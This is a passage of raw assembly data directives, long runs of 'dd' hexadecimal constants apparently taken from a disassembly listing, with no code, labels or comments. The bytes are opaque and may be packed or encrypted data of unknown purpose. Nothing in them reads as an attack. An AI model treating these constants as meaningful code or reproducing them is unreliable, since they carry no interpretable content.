702B1780h, 0C1B8C483h, 3FA4450h, 0D6198885h dd 5E1F24DCh, 39B80C94h, 0DA34F7D8h, 80C0A934h, 26EFD53Ah dd 4960602Ch, 0A4D8F007h dd 57810555h, 3723B881h, 76468410h, 0DD38A362h, 0C0DCEA2Bh dd 0C2CC6200h, 0BDEB38D1h, 0C1D0700h, 0E6D8B87Eh, 0DE1288CCh dd 4EE704FCh, 0C0FC1120h, 924DD90h, 74A9C2F0h, 0CE8CF484h dd 0A1AF00FCh, 0B77C6174h, 0F9A5002Ah, 3ADF408Ah, 0A600E959h dd 0F52E107Ah, 2EEBF207h, 119CB51Dh, 0CFE458B4h, 18F4A0DDh dd 0C3E052h, 54936448h, 87D5734Ch, 9E59B8B8h, 0DAC87FCh dd 0D1A12D12h, 0A4646308h, 2D4260F8h, 418C5301h, 25B937CEh dd 111BFC0h, 0BA9D352Bh, 6454C838h, 0B73A4D38h, 0FF8D07A2h dd 20ACB22Ch, 3A50216Fh, 15F7AB8Fh, 0E95300ECh, 0F06DD1D0h dd 1371005Ah, 0B75540CDh, 22FFE038h, 0D8BD05F4h, 0F4F42FE7h dd 41A54FB1h, 0BD2803DCh, 0B6E3EC75h, 3240C349h, 506A2886h dd 0F9F11254h, 52E71370h, 34E00A28h, 4FCB6230h, 48858E07h dd 40E854A4h, 7C0073D6h, 0ADED2E1Dh, 905F91EFh, 0A17698BCh dd 0F4F541BCh, 500AC452h, 0B7FA4060h, 14587226h, 37409E83h dd 0A7290005h, 8F902F70h, 845886D5h, 6C9A2824h, 92CDDD02h dd 646DB6FFh, 32449898h, 0E060AAF6h, 0C05C6D2Bh, 0A08CBF56h dd 852E8A3Dh, 78375749h, 0AC079834h, 2B01883Ch, 942868C5h dd 8C4BBCh, 29A40A94h, 267516BFh, 0DD59D0Ah, 0A18380F0h dd 0BC61FDBDh, 37F4088Dh, 8BE408h, 0DDF0C7CFh, 116BAA5Fh dd 157B8000h, 51E42078h, 811C963Dh, 22E3C3A6h, 0E2B828A3h dd 85802058h, 4E0A6CF9h, 0A8AFDCC8h, 0DCC2B58Ah, 3F602D82h dd 908C94Dh, 3487B2Ah, 3D8BCAAh, 0C9881530h, 0A2238E2h dd 0BCC88C48h, 47038CBCh, 0D9C9606Dh, 40A288B9h, 3E70B923h dd 419ECB97h, 702911B4h, 40C721E9h, 782C7964h, 2437732Ch dd 4B68B44h, 9FE96BB0h, 0D4B9DA05h, 9C88F880h, 57DB0E0Fh dd 540B66Ah, 5D97BD1Dh, 0E9637B07h, 0A43F34C7h, 6005273h dd 0DF0990CFh, 87595112h, 889DD40Bh, 9F91B86Dh, 0A9C2878Eh dd 473119B6h, 337EF910h, 0C8AF0C0Eh, 8F7F60CEh, 1CF1185h dd 0BC200766h, 2A5F9430h, 2AED7C40h, 9123806h, 32CB4823h dd 0ADBA7843h, 0EC10FC65h, 0C8452B05h, 2064B171h, 3640C01Ch dd 2CEB7E79h, 280F7D3h, 0B4A8A9F2h, 484140CEh, 4675200Fh dd 12F00D6h, 0CB2D7AFh, 782095FBh, 0F6A6A7CDh, 9B8D327h dd 0BDF4B708h, 85B67100h, 0D118EAD5h, 0ABEF60CFh, 0CCA80A7Bh dd 0E6720641h, 8C7143D1h, 8F97718Fh, 0A05C2292h, 100D9E30h dd 0E0B12D07h, 10DB666h, 1A5E5D37h, 6CA638E4h, 2064CE24h dd 0BCF212F4h, 0ECA45FCBh, 537800D8h, 7FF9F52Ah, 0D3CD023Eh dd 6CBED7Ch, 2B0F44E8h, 40A74817h, 0A444045Dh, 0C488D3F7h dd 47F43C30h, 0E7C188B0h, 16E6C52Eh, 3761AD09h, 28F4203Fh dd 4C090695h, 42BC701Dh, 0A837028Ch, 9ACB7B60h, 0BD0F8C54h dd 0E40913E5h, 7148A9CDh, 1F2BD9F8h, 305E2BC8h, 15C93FF7h dd 0C6003A18h, 966C8134h, 1ED465B7h, 0C20F1463h, 0DD3CBAD5h dd 72034444h, 0F41BF7BCh, 3F401CADh, 696139EBh, 0A9D670h dd 585F9C9h, 20B6779Dh, 0DB00C873h, 0AD05659h, 8C4C30B7h dd 186A0D8Bh, 1677ED70h, 199BDD3h, 3BDF4184h, 0A7A83090h dd 0E0455A4Fh, 0DCF4A62Dh, 4BA2012Eh, 0B2DBC28Ch, 2C6838E0h dd 1420A876h, 0D86098A2h, 0B580AA86h, 10EE589Dh, 3058311h dd 0E2A9257Ah, 99B3E1F0h, 6FE01984h, 0A2FCE093h, 3E741701h dd 40A6CBB8h, 0E0391871h, 78BDA818h, 760635A7h, 60068E33h dd 749C19D8h, 47208015h, 30820888h, 0CDF2D3h, 0BC6B8DF9h dd 60A4702h, 52ABAEC3h, 0D8F87BB8h, 0F5B040F8h, 3AE57970h dd 78B78820h, 0D7C0100Eh, 67437812h, 9EEB7782h, 8C0530E8h dd 50A2CE30h, 5222106Fh, 17A48A6h, 0B8745E8Eh, 0CDC305FAh dd 0D0620EBCh, 2E144FF7h, 5BB8DFCh, 3D0625D2h, 4838ED20h dd 0A5137988h, 8C1D7333h, 0D0A0546Ah, 68122A7Fh, 3004AF03h dd 40E93411h, 5CB1EF04h, 8C281EAEh, 10BBAC78h, 0C4259C1Fh dd 0A3388858h, 22AF4C76h, 5C0BFF27h, 0FCB7AC04h, 74FC4644h dd 0FE3F1704h, 6304BDB3h, 32AF3C35h, 8FB0F48Ch, 83142846h dd 8F602B5Dh, 8250B5F4h, 98A2EB7Bh, 0C794E27Ch, 4D60A791h dd 0DB0C1841h, 0B0593C4Eh, 0EA9B10h, 0CCE4B337h, 8586A0C0h dd 556331Ah, 28BC84ECh, 0A55CF058h, 0C16EC8C2h, 0DE1C5E5Ah dd 6E361B00h, 6B78388Ah, 2FFF4BE4h, 0BD2338h, 170CA56Fh dd 7B16F21Eh, 0C84232D3h, 0C4C0A714h, 0BAD73650h, 8227D8A8h dd 50E4E86Dh, 48220BACh, 64445963h, 136D9D44h, 24C852C3h dd 825C84CCh, 0F84105CCh, 86899360h, 0A1963006h, 0C0977D28h dd 6787C019h, 731ED230h, 0B4C06140h, 5B121CCDh, 0EF5F00FBh dd 0D92F6FB8h, 3A4A53F6h, 0BCB34004h, 0F73B2C41h, 40406CB9h dd 0F5970A8h, 0E2D50604h, 1D0E5B8h, 3EC69085h, 6325C207h dd 3046A24Ch, 0C800430Bh, 98530A02h, 4E4010C2h, 0D384929h dd 0AC008052h, 93177123h, 7899EB9Eh, 0AFD200CBh, 510C76F8h dd 0BD7FB1DEh, 67409001h, 371455EFh, 0CD0A1473h, 8028A173h dd 442BCC6Ch, 0F9384DC8h, 91FF8063h, 0BDF6CE2Ah, 6D7D0B3Ah dd 24028E2Ch, 0FC51A59Ch, 0D6E6F00h, 3D4CD534h, 850101B1h dd 313BFA58h, 0BA86894h, 83ACCDA5h, 54CD484h, 3D15739h dd 2424913Bh, 0CEF703AFh, 5E7E0E21h, 0B438695h, 0DAB0C38Bh dd 11FDF768h, 0D4392A41h, 75C93C7Bh, 3C34B901h, 94B473EFh dd 0C780951h, 3004DE2Eh, 10C304A2h, 5A92A74h, 8C200E71h dd 2C092EABh, 897C439Ch, 58A9E7CDh, 42EE8003h, 826D1821h dd 0D46530Bh, 372F6CE0h, 6CE32Dh, 0EB6D85CCh, 0A0544C2Eh dd 0B2CA68Ah, 88AEFAE3h, 0C7840016h, 0F8B01B68h, 8F5CA097h dd 0FEDAADC5h, 0DB7A0835h, 1103A1D2h, 4430782h, 293D50B1h dd 924CA0ACh, 1952D735h, 0CA908800h, 5FA58133h, 0E8E840C7h dd 0F7A31FA1h, 0A8CF30C7h, 83734B10h, 0C66F3920h, 0D8D024h dd 0A90D0C2Fh, 1900A663h, 9E8DACCFh, 7211019Bh, 54B213FBh dd 1028F3F8h, 99E7782h, 0C78E1B5h, 5D6FC20h, 92E37A9Dh dd 0D2B8D8C4h, 4BB1AA46h, 0E3DD0934h, 0E442CF08h, 2E2038E4h dd 884FE046h, 23006A44h, 4F588E47h, 0BE974E52h, 13BA8088h dd 7B23CDCAh, 545BB109h, 845A0Eh, 0B881201Ch, 5E729A51h dd 18B62839h, 0ACE85880h, 0CEF0DD5h, 49304FCBh, 683AEC68h dd 0E44A515Eh, 7E0406h, 73921DF3h, 799C121Fh, 0ADC61900h dd 8317117Ah, 0C0E507Bh, 7CB63BA6h, 730D85BEh, 0F008C65Bh dd 841DE682h, 72008117h, 799A8A20h, 988D0028h, 97834F71h dd 13071274h, 0C62084E5h, 24C561DCh, 3C3C1D79h, 93C8240Fh dd 0E6871A0Eh, 9885F0A4h, 1D004F75h, 0AC598396h, 0A3B56F9h dd 5030E6C6h, 96CE0604h, 827C607Eh, 0A471F501h, 0E6635C9Ch dd 7819D1BEh, 0D0818016h, 0A0DB9288h, 2AA1A618h, 0F082680h dd 841F779Ah, 0B51D6F87h, 80381BCDh, 12A28809h, 20650314h dd 6B880088h, 357DD1C6h, 7800B3A9h, 979B8312h, 0CE6C5F9h dd 92C1504Bh, 8E006340h, 0B78B1473h, 3C603A3h, 825330C9h dd 0D0875BFCh, 67F66D96h, 8F59E1CEh, 0A0787833h, 9217041Dh dd 32720299h, 88B10074h, 0BC1F1216h, 83234F9Ah, 23777E61h dd 4FA4A190h, 7604288Eh, 3C38D1CCh, 0D809D4D4h, 0BCE44E6Bh dd 0B05C820h, 0DA477029h, 6324B859h, 78A0412Dh, 1FD0DC74h dd 0F0BC30B0h, 0D7D37918h dd 14885F5Bh, 156144BEh, 849098BAh, 60243E51h, 58225C88h dd 556F2E5Bh, 0BF4D42D0h, 90766CE1h, 0A593E158h, 17609428h dd 0D0B00C50h, 160789CBh, 0F2CC0EE3h, 64422DECh, 0D6BEFCFCh dd 60E02659h, 28484122h, 127C40A7h, 0D084C209h, 61B870C8h dd 3B5188A6h, 8C592F2Ch, 0D1A55160h, 59666406h, 9430B113h dd 0E194D410h, 110B6912h, 0E5A8BAE8h, 0AC331187h, 5B1087E7h dd 0E80C18A9h, 530D01EDh, 73735034h, 78AD6BCBh, 0E320E878h dd 7CD890AFh, 28F48ABCh, 698030C1h, 0A70E8500h, 97098CB6h dd 297CA2B6h, 0C8EC6260h, 0C051FDCCh, 20E36F28h, 3012B745h dd 0ECF43190h, 40CF5412h, 0CAD588A3h, 2381807Dh, 0ABC9CC8h dd 0DDD36DA2h, 38BD8AACh, 0FF0D8B24h, 24854489h, 2B9847DFh dd 8878D968h, 7174CD17h, 3320A081h, 0EB85B057h, 0E2B54000h dd 4834D59Ch, 44D1042Dh, 0E544AC88h, 0B3A1DC54h, 0C18454A8h dd 1037079Ch, 0AA8D2241h, 754882BCh, 46D0235Fh, 0E5189164h dd 0ED192E32h, 45863E0Ch, 591C42DDh, 48260131h, 0FBC1EA08h dd 5B205C28h, 73CD3EB0h, 0A909C12h, 412037A4h, 2255D0D8h dd 2C9C503Ch, 4F8407F1h, 7BC534A8h, 0FEC48C0Fh, 0CD364900h dd 4586F3E5h, 0D590015Ch, 0D6F77B7Ch, 0DC206E34h, 30EDCF2Ch dd 0B738AB4Ah, 9CB2566Eh, 64D0F74Bh, 25F948h, 7CB2E5Dh dd 0B25269C5h, 0A1BC7203h, 737F8CCh, 0BFAC4D29h, 91F49067h dd 0A93917CAh, 253B7E0Bh, 0EBC08545h, 2CA9F79Ch, 1A92A300h dd 74A21956h, 83B85C0Eh, 0ADAB0285h, 0FD38406Bh, 8B100173h dd 40956C14h, 437E22h, 0BADCDF7h, 0B6851049h, 69944200h dd 98D2C153h, 0DC90E012h, 48287B80h, 7800C96h, 753C17D1h dd 61EEE404h, 0FEBC9F36h, 32F97300h, 0AF09749Eh, 7306403Ah dd 6F2125h, 0E14A44A0h, 667E07DDh, 0B0E59701h, 2559F40h dd 0AF5BA200h, 0E7B6617Dh, 0D304002Dh, 9F3AE5D8h, 0BD00E880h dd 36471CD2h, 185CC3A9h, 489E6FA8h, 0EC41D1D8h, 0C08C6CECh dd 32B3EACCh, 33001EB6h, 0E57CC2A9h, 30F44E87h, 4020576Eh dd 75E0EB1Bh, 8420E753h, 3D6020E5h, 230047A7h, 0DCBD1604h dd 19BE4E37h, 9949E8D2h, 0D3A0F141h, 8078D83Dh, 593E2B6h dd 0F89F3E07h, 99BF000Ah, 0F0B4DC4Eh, 0EE15E985h, 1684CF97h dd 0B400F7A3h, 0AB9BF55Ch, 9CA53A44h, 8D21E030h, 510004FFh dd 89F6BD3Eh, 0F83C210Ah, 8A6B18D2h, 0A35778ADh, 0E35F81C0h dd 0EEDBC7h, 278841A9h, 0D1DAB94Fh, 1E69F0Ch, 0E8852990h dd 0AB5730F9h, 0EE62BF11h, 5836E801h, 901E3D45h, 21B80898h dd 0EE30AA68h, 442908D1h, 3F20E321h, 0DBD907A1h, 0B156D5DAh dd 0C02B252Eh, 39C0BB58h, 20C80907h, 0D3CF0178h, 553C422Dh dd 82A3F4E3h, 83592500h, 6298B596h, 9FD605BEh, 13D81AAh dd 70A0B09Ch, 3AC76F0Eh, 6BBFE570h, 0C0A8E8AFh, 0E787921h dd 1F00C2BAh, 90DBFD6Fh, 8040E9C9h, 0CA6FB70Ch, 25660189h dd 1180A257h, 91757C55h, 1F03E2EBh, 0AD7D5859h, 85CCB981h dd 30FF9052h, 0E611EEACh, 0B288A836h, 0EE945E80h, 9D7262h dd 31438A4Ah, 79811557h, 256A6600h, 7D4006FDh, 0A1EC63FBh dd 75B0E690h, 0CB1FED68h, 8F12FCFh, 20874136h, 0D0ECEE6Eh dd 0D594D354h, 0A1034C01h, 0B658274Ah, 92EF7980h, 0CFBA7EB5h dd 89F39800h, 591A8844h, 0B9051461h, 3C9480AAh, 0F801EF23h dd 0FD5C8704h, 0A0A9B618h, 9405C084h, 86DB1E00h, 0B7D42B70h dd 804A29A0h, 925180A4h, 0C59BF1BFh, 47960B1Dh, 2C9C8F01h dd 0E842EC10h, 0E873093h, 6BB6F808h, 40AC64AFh, 4B0E6F80h dd 9CE612DBh, 985C00B1h, 0D2DF3D1Dh, 60026C24h, 453D38A8h dd 6689879Eh, 0D8F2B321h, 71C8435Dh, 52028CE8h, 2D5C70FEh dd 10B7199Dh, 4FA9Ah, 12F2C73Dh, 8A250576h, 390BC804h dd 7D40ABB8h, 0E7E6F793h, 3459CC60h, 0C4B75883h, 80235A21h dd 0D96ED23h, 0D624E000h, 0FB90E74Eh, 8C0C9805h, 11E176FCh dd 88C56862h, 0E9A9803Ah, 0D5EA8CECh, 2300BB98h, 66AA5A53h dd 18D3CBE5h, 79E7BE65h, 700749A0h, 671C913Fh, 3AC44FC3h dd 11B02C18h, 5CE1AE71h, 0E0250306h, 79C1DD97h, 80B4013Fh dd 3E71F130h, 17EEC0C2h, 0CAC0A600h, 36F2918Bh, 42400B8h dd 0FBA3D5E8h, 6418AD7Eh, 55540750h, 6C1ED4D6h, 0E71D6E23h dd 75687484h, 6F213862h, 8520ECEFh, 4D50B07Ch, 28E8FC6Ch dd 4D23BE42h, 0AE20105Ah, 9D0F8C19h, 329FD5F7h, 0E716060h dd 1BB83B52h, 0A922C3h, 620E797Ah, 0D88D38D2h, 44243124h dd 58E04341h, 60872460h, 0D9EB3136h, 700E132h, 53DACBD2h dd 9844354h, 0DD0E250Ah, 4B407491h, 0E7968304h, 631024AEh dd 81AF8A18h, 1EE30110h, 308215F1h, 0FF484FDCh, 5A871870h dd 317EE021h, 0A48E80Dh, 6D844E9h, 28A7FFF8h, 66F44A43h dd 0E183850h, 0B5114887h, 72FD05DAh, 0AB44A932h, 6871F113h dd 0D424B597h, 612B7844h, 0DA8518AFh, 0D2398609h, 0E51586Ah dd 392BBF31h, 501307E0h, 9301ECE0h, 0AFF7B40Bh, 243536AEh dd 3EF0AC08h, 6544167Ch, 0BA8ABC01h, 0EC293AE6h, 50A1C8D3h dd 0B5C92DBh, 0C287E954h, 4E6CA8Fh, 0FF071980h, 0E1B01A48h dd 0E6493980h, 93A90035h, 0AF634042h, 2C00E8B3h, 24ED9404h dd 6354578h, 43F15C89h, 3D000888h, 0F8BD7974h, 0E0E6CECBh dd 0E84F2BA1h, 0B8E99B4Ch, 4CD090E8h, 520E0A4h, 6FED3191h dd 200FF548h, 0F46436B2h, 54589F0h, 24AC40AEh, 0A4A10C59h dd 0A96AD907h, 0BCB3F6A5h, 41200299h, 0A2B858F7h, 6544E008h dd 0A0DBE483h, 0C3D39029h, 0E96C3618h, 0A97821AEh, 0C170EC48h dd 92352AF9h, 0AF868847h, 0F6AB0E48h, 0EEE3AA48h, 71094B56h dd 8773437Eh, 712C4F68h, 0D91F0415h, 0C0115B95h, 0BB57AFB8h dd 0FC304389h, 0BDEC053Eh, 82E56EEEh, 9C886FC7h, 36A60558h dd 5C94C3F6h, 0FD359119h, 0DF106410h, 662C9DECh, 5709D36Dh dd 87948339h, 1621013Fh, 31E98310h, 0A74222Ah, 0BCFDF763h dd 79EE8039h, 0F49529BEh, 83F4904h, 700243Ch, 0ECBF751Dh dd 7900F617h, 0F5216558h, 0CE6A4FCh, 8150A0F7h, 0FD00C431h dd 4F6AC71h, 20F1670h, 19895611h, 0D864963Fh, 0FD9E4700h dd 0F57F0EC5h, 7EE70645h, 21CD2B31h, 1C90A579h, 598A5032h dd 0C888F44h, 24E11D2h, 716789FEh, 0C41AC18h, 6BD44C98h dd 35A87348h, 606051C4h, 92372AB1h, 6C6804B8h, 0C1D1522Eh dd 8236D29Ch, 57915C19h, 22D0A0CBh, 903C7459h, 81650020h dd 4E39D067h, 0BCEC3668h, 432B82FAh, 5313143Bh, 302ACC0Ah dd 3E34A13Ah, 6A60C13h, 0A93757D8h, 75667D16h, 0E17EB800h dd 2E815B5h, 98E60E18h, 0D0C457C8h, 0A0D99F00h, 0AA1BEE3Ah dd 24D3FE85h, 4404502Eh, 2F68C475h, 0D9CF0428h, 0E2F3B48h dd 269E6EEAh, 0EA592565h, 0AD8730E7h, 0C8541431h, 0A5BD4218h dd 6BAB61h, 2B5DAD95h, 9CA804EFh, 8C101C91h, 53AC74C0h dd 0DB28EDE7h, 0AF2198B0h, 0AA940870h, 18A71832h, 4384CD54h dd 89C0517Fh, 94B65518h, 34FC30E0h, 0A0EF5079h, 9C04C400h dd 0FF2E7691h, 0AC664CCBh, 2C2CA428h, 3EA85FF6h, 1BD8F068h dd 0E7C04040h, 0D09524DAh, 20221A4Ah, 0D860806Fh, 418AA30Eh dd 38434204h, 0BAC2A0D7h, 205C6063h, 0E91096DFh, 4687A80h dd 820D93CFh, 5FACC0B0h, 284C7D3Fh, 593605E1h, 78807F79h dd 48FC0C65h, 0DE2E3C8Ch dd 36DB028Fh, 44C1AF7Eh, 7989981Fh, 31666D51h, 0EC31EFBCh dd 0C0DBDC50h, 3AB780C1h, 50704A79h, 60FBF85Ch, 294118C1h dd 7898A219h, 7C5D6BE8h, 17ED0040h, 940FA82Ah, 3F1A29C3h dd 97D18C94h, 7F3CC230h, 9DE11AB7h, 0F7B48210h, 1180C51h dd 98068D40h, 0D9412084h, 0EB2D9614h, 627B0CD0h, 0E87E87Eh dd 0B0D853BBh, 0C08FE746h, 6D57961Dh, 907C9F43h, 0CF29217Bh dd 0BF99A508h, 798D1142h, 3C5CE322h, 5237038Bh, 0E0A64546h dd 897E61h, 35049039h, 0FD6B404Fh, 0D3004A70h, 0D756F6DBh dd 8726C8h, 99D2F847h, 0CD903DB5h, 352C3Eh, 0FBB76301h dd 346546Fh, 0B5B8C91Ah, 93B8F0FDh, 0A600ED2Ch, 0F3BA391h dd 0CB2BA2Ah, 0A0C1EE5Fh, 6B009829h, 3A6D2C94h, 33727Bh dd 309B8BDCh, 95DFF781h, 0FEB3E700h, 2B10FFAEh, 0A6A90069h dd 0C9922DCAh, 0C7008018h, 0A5D4FC3Ah, 9C3498h, 0F00EEBBEh dd 0B157E124h, 0D6521B1Eh, 0C026738Eh, 0B209EACAh, 0B68C0039h dd 0D13A4819h, 0A00BA3D3h, 0A05BA6B4h, 63794EF8h, 0E8C6004Ch dd 16E99974h, 4F00E46Ah, 0B0B80686h, 18796D0h, 0E0119F35h dd 0EC085972h, 7800C9C2h, 2F6EFFF1h, 226BD0h, 0DE18435Eh dd 68EB2752h, 0F2034B04h, 87C06328h, 0C8FE71h, 0EAA114B4h dd 732F8964h, 0A00E292Ah, 165BB0Ah, 80009CB3h, 2FF3501Ch dd 773B2AD8h, 0C7DD00ACh, 46035723h, 0E403CB28h, 0ADC5826Eh dd 1F0D9806h, 31700EBCh, 0C940D80Bh, 2BA96B89h, 0E5E3F300h dd 3A4D4A2Dh, 0EFC7010Fh, 0A4FDBB49h, 853FD8F4h, 36830700h dd 3D44EE3h, 7D0601D1h, 0B63C461h, 605BF53Fh, 343B96B0h dd 21A280FBh, 5D9F8D85h, 4F410119h, 0DEAFBD5Eh, 564430ACh dd 0D828F01Dh, 0E130F3CCh, 8E753FC7h, 4614CC00h, 1794746Eh dd 0B73FD000h, 0ED9C648Bh, 6F5100FDh, 0CF126508h, 1618449Eh dd 5E40ECB6h, 80300022h, 3BC7BABBh, 6A5C8E4Fh, 124D023Bh dd 8054C4D3h, 587E0FF3h, 665E00ACh, 0B0B4D00Dh, 0B303F18Eh dd 881FAE71h, 0D9290231h, 65541315h, 0C441F6E1h, 7C73D6A4h dd 0AFDEAE00h, 61A5A7Eh, 0A63A006Eh, 4EB6EE60h, 0F61F1E6Bh dd 5455BDAh, 0A500D52Dh, 0C3EFD8ADh, 76630353h, 367328AFh dd 2AE46903h, 88320A18h, 0F32392h, 6530D5BFh, 0A1598D4Fh dd 2618464Ch, 791E10ADh, 14519B80h, 617BD2Ah, 29E46401h dd 0CE001E85h, 8C4F841Fh, 0E4CFC41Eh, 628100DFh, 0B330EFF5h dd 0B5009329h, 0F0DEC1C5h, 718CE8Ch, 1935E727h, 0E1A51052h dd 0BA38487Ah, 2EDB0730h, 0E4DF7EBCh, 34900EEDh, 90C31777h dd 0FC970044h, 0D5F735F1h, 850164F0h, 0C507FE25h, 0C0604584h dd 0C6CE006Dh, 0D67E17EBh, 6E020181h, 4CB04D6Bh, 0B1D0E82Eh dd 9B340015h, 0F48DE1CBh, 5B003C3Bh, 4708B3B2h, 3F12476h dd 9AFD6517h, 84AF3DE9h, 0BF9880D8h, 4A07D488h, 661AEF84h dd 459C3FB0h, 35780921h, 7A87A12Bh, 7F6AF0F2h, 0C909CD77h dd 804ACAC6h, 1965DABCh, 0F37158DFh, 6FCB3800h, 0E18DDD88h dd 4A3AFE00h, 1C6405EDh, 86E00D4h, 3BCAC1C7h, 21008AA5h dd 2CF9A666h, 3BA1F333h, 0E280DA2Ah, 505E3820h, 56015A27h dd 60229D7Bh, 90EF70B3h, 96E3658Eh, 0CA5D0454h, 1984D099h dd 0AD717A72h, 0FD62AA00h, 6A48EDC2h, 0AFC45052h, 709872DAh dd 0ADCA00B3h, 31BD9456h, 59000AE0h, 90B64548h, 0FDBC3Eh dd 0CFD4E57Fh, 0F726BBC8h, 6F23AF00h, 5924B18Eh, 0A0C2007Dh dd 4EDCDA66h, 2E77BE38h, 0FEC8BB09h, 0D2D0609Dh, 0C340061h dd 8B24166Ah, 3C7C5AC7h, 0F7397F00h, 2263574Dh, 75FF58D3h dd 4F5F0400h, 54BDAFBBh, 34285Dh, 166EE6Ch, 0AC8809h, 0AEB1D3B7h dd 0F3E16999h, 11BE0C04h, 64800D9Bh, 5462AE2h, 775A6815h dd 0A48A80D6h, 0CD00C4E9h, 4E651C5Fh, 0B076D0F6h, 84BF3A30h dd 59C1FE84h, 53489127h, 805421DCh, 1BA70A31h, 0FEF25Bh dd 1A6A4F89h, 57D13EDEh, 90823A40h, 7DC81E3Eh, 1092000Eh dd 236902F1h, 4E0A661Ch, 0A46B7101h, 309E39CCh, 2A5A0046h dd 75AB50EEh, 9DC8AC00h, 0C5FCD5CFh, 18A93D9Ch, 0FEA8313h dd 31801A44h, 5C339E71h, 5400EFECh, 9FD6A84Ah, 0A0DAE804h dd 982370D4h, 0D7C0009Ah, 0DF18DCF3h, 0C12CE1F0h, 0B100885Ch dd 90C98C41h, 21C22726h, 0B6310075h, 71F6D8h, 0E9A6531Ch dd 47ABAA2Ah, 52C66B00h, 79957E38h, 98C10056h, 1E5DDF2h dd 550EE059h, 806B28B4h, 0B687F94Bh, 0B0757050h, 0D910300Eh dd 84023938h, 2B887807h, 4040614Fh, 5E1A94h, 0B48D27B6h dd 0BB8FF103h, 0A90CA200h, 291B7C07h, 5777006Ch, 75C08974h dd 11EC1A1Dh, 0FF98B400h, 0BFD56E02h, 0A670482h, 905AC265h dd 27200D34h, 0F6487600h, 0E1B79BD8h, 10CD0B8Fh, 180B9F3h dd 0CB21EB08h, 0D8F44913h, 8B41A81Ch, 0B5D6B6ABh, 1EE2824h dd 6322640Ah, 30E6232Ch, 0ED118E64h, 0BBC0E202h, 0F15360E4h dd 9B407C00h, 5D80E0A9h, 80D8B457h, 906003B8h, 630BC155h dd 200D7E2Dh, 1FFE8DB8h, 0B0B92539h, 36AFA406h, 10A448h dd 0FDE1682Bh, 2CE24E3Dh, 78B46ADh, 7079D574h, 0C5A76794h dd 1BBFEF00h, 0BE1F3A5Fh, 0A438EB06h, 0C160C307h, 0ACB3B5F1h dd 2B57006Dh, 0AE8A14C9h, 629E0144h, 78F15E26h, 525480DDh dd 2AD7AC56h, 553707CFh, 0D0A144A9h, 7BE0C580h, 58862D30h dd 0BABB8FCh, 0CB3D30AFh, 0D87B6048h, 6720DE63h, 0A283E7A5h dd 85112099h, 78D28122h, 764C2535h, 0F60C480Fh, 28C0665Ah dd 173C254Eh, 5C94C2h, 1E9C8D5Ch, 977B4CD0h, 0B1A43900h dd 0D22FDB68h, 0C578B7h, 6D66C41Ah, 0CE5C7C9Ch, 4CECBF28h dd 3BEE4410h, 0B3B90378h, 5A424DAFh, 0EBC4F6A0h, 4387CF00h dd 76B0D858h, 16FD07D0h, 3AE17Ch, 558F8660h, 0DD8E4400h dd 0D168F818h, 3E3D72EAh, 0BEAD8066h, 0DC04C028h, 0A1C0FC31h dd 0C878BD87h, 0A5B8D809h, 9A33B840h, 826B8B8Ah, 0E5A1BB8h dd 29A7D546h, 90113742h, 2F2273h, 84EAC1C8h, 31F8FB9Dh dd 0D82E302Ch, 2AB7CC80h, 70EEFD9Ah, 8F36005Fh, 0B3F23A98h dd 0A3006A86h, 0D607BBE3h, 2339190h, 192AB8F9h, 9C60A8F5h dd 83AE143h, 0E5C19C62h, 0DA10803Ch, 92D823E8h, 0BC6D002Ch dd 0F062EE6Eh, 63001F13h, 76D66B0Ch, 3D1BAC17h, 0B4958499h dd 247B8861h, 80804A39h, 0E985BD38h, 0BE00F5A1h, 9E6E7B15h dd 0C37F4356h, 32082F20h, 0D6B09AF0h, 28649300h, 73D0674Bh dd 0B7E00022h, 72D36103h, 0FC00581Eh, 0F257D47Fh, 1E209B4Fh dd 9C7DCF6Dh, 456300AFh, 51860BB4h, 0EC010F7Dh, 4C136F9h dd 0D451DE6Bh, 0AC62C8F2h, 0C22A0079h, 0EF664963h, 0D90003B6h dd 0F1E0B98Eh, 0A44B1Eh, 0E2702A1h, 0F99BAFB8h, 0ECD3DB00h dd 0A3C46AF7h, 5F8A00E7h, 3F390FBDh, 66035415h, 6AEDAC86h dd 0E23097E5h, 0E847E6FEh, 0B0E7008Bh, 0C4CBD53Ah, 58005B8Eh dd 160F3C81h, 9CAD113h, 8F3BE5FAh, 3213B17Ch, 0D4927C05h dd 34893800h, 0C5A57Dh, 0D3297EE4h, 0D4C7F081h, 60690504h dd 76C0D940h, 5C92FB73h, 271CC4E5h, 0CBC4C16Dh, 704F453Ch dd 4E0B16Ch, 374CEC00h, 8C600CAFh, 5C142643h, 0D1748074h dd 0E68589A2h, 902FF716h, 0EDC1A440h, 2DACDAh, 0DF013564h dd 0A1148CB7h, 0D074913Dh, 2909C3BCh, 0D06B98h, 0F76E5F27h dd 8B1D00C7h, 0C3657295h, 46007AA3h, 0DB494A81h, 14021029h dd 0D0CE6DB7h dd 4BF638h, 0B8F579A0h, 7217DEB1h, 0EC20F79Bh, 7BEFF70h dd 0F879C65Dh, 0C930F09Ah, 5F77216Ah, 76265700h, 0B77B93F7h dd 45F139EAh, 80EB2500h, 0D0E86A03h, 93009494h, 0E6926DD3h dd 0E4164D76h, 4FBC770Fh, 0F14633A1h, 6DD86099h, 6E423100h dd 0ACFC902h, 18C46179h, 40B4E220h, 23C8E88Ch, 25EE6003h dd 0E88FB885h, 60982815h, 0E00F1978h, 3D00B567h, 0EC6137FFh dd 88E309h, 0BC8CCF5Bh, 0D6D06662h, 2347E800h, 1181425Fh dd 0C6B800C5h, 6246247Eh, 0FD757C4Bh, 7129C100h, 0F3AF08ECh dd 0D3E6CCh, 80855DD6h, 0B59A0C35h, 5B3B2BF2h, 9D16851Eh dd 9AA7559h, 2470B96Ah, 2600AC74h, 34D64248h, 7212F6h dd 0A0A9D96Eh, 0D1FE8EB3h, 5C4D5A14h, 86EC00FEh, 0B6112766h dd 2508E216h, 0E0A429E3h, 0AB30A01Ch, 7F002498h, 0F9633644h dd 505E8AD1h, 0DAACB1h, 0EAFCCCB2h, 50FF3C68h, 0A212407Ch dd 5C80A755h, 0F04204h, 6CC29059h, 67702E0Ch, 184CDF79h dd 4007600h, 47484C3Eh, 0EE84A8h, 9DE5DB1Bh, 0E99AC63Bh dd 9234900h, 0D586E659h, 0D4571D6Bh, 0A5ED0063h, 998AFC82h dd 51770F0Eh, 5EE420D8h, 51EA035h, 68156995h, 3A968146h dd 474AE045h, 9158F100h, 24022948h, 12430051h, 77F6B9ECh dd 23019CFEh, 0D33F2C50h, 0F840A3E5h, 4DB68Eh, 32735629h dd 527A1139h, 0A97DC328h, 0EE958C30h, 3CC01F0Fh, 8E12B53h dd 434BA5BFh, 